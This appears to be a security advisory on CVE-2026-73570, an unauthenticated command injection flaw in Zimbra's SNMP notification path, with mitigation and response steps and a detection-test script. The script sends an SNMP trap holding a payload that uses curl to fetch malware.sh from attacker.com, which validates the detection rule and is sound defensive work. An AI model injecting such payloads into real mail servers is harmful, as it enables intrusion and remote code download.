CVE-2026-73570: Unauthenticated Command Injection Targets Internet-Facing Mail Servers

Summary

Threat actors are actively exploiting CVE-2026-73570, an unauthenticated OS command injection vulnerability in the Zimbra Collaboration Suite SNMP notification path. Successful exploitation can enable attackers to deploy JSP webshells, establish reverse shells, and escalate privileges. The observed campaign combines automated payload delivery with hands-on-keyboard activity focused on stealing email and authentication data.

Investigation

Microsoft Threat Intelligence tracked exploitation through telemetry and examined multiple attack stages, including reconnaissance, initial access, persistence, and privilege escalation. Investigators observed out-of-band probes used to confirm command execution through specific subdomains. The analysis also uncovered complex privilege escalation involving Zimbra service helpers and multiple persistence mechanisms, including systemd services and cron jobs.

Mitigation

Organizations should immediately upgrade Zimbra Collaboration Suite to version 10.1.20 or later to address the vulnerability. If patching cannot be completed promptly, uninstall the optional zimbra-snmp package and disable SNMP notifications. Security teams should also restrict SMTP and SNMP access to trusted hosts and rotate all Zimbra authentication secrets.

Response

Treat reverse-shell alerts on internet-facing mail servers as high-priority incidents requiring rapid scoping and credential review. Inspect Zimbra application and servlet-work directories for unexpected JSP files or recently modified permissions. Review systemd units for suspicious ownership changes or timestomping activity, and rotate all domain zimbraPreAuthKey values.

Simulation Execution

• Attack Narrative & Commands: The adversary identifies an internet-facing Zimbra mail server and exploits a vulnerability (CVE-2026-73570) in the SNMP notification processing. By sending a specially crafted packet, they inject shell metacharacters that cause the SNMP service to execute a command. The attacker’s goal is to download a secondary payload to establish persistence. They use curl to fetch a script from a remote server, which should trigger the Command|contains: curl logic in the detection rule.

• Regression Test Script:

  #!/bin/bash
  # Simulation of CVE-2026-73570 exploitation via SNMP trap injection
  # This script simulates the injection of a 'curl' command into an SNMP trap message.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # The malicious payload intended to be caught by the rule
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Simulating Command Injection via SNMP Trap..."
  
  # We use snmptrap to mimic the arrival of a crafted trap containing the 'curl' string
  # In a real exploit, this would be sent via a malformed SMTP/SNMP packet
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Simulation command sent. Check SIEM for alert: Unauthenticated Command Injection via SNMP in Zimbra"

• Cleanup Commands:

  # Remove any files created during the simulation (if any)
  rm -f /tmp/malware.sh
  echo "[+] Cleanup complete."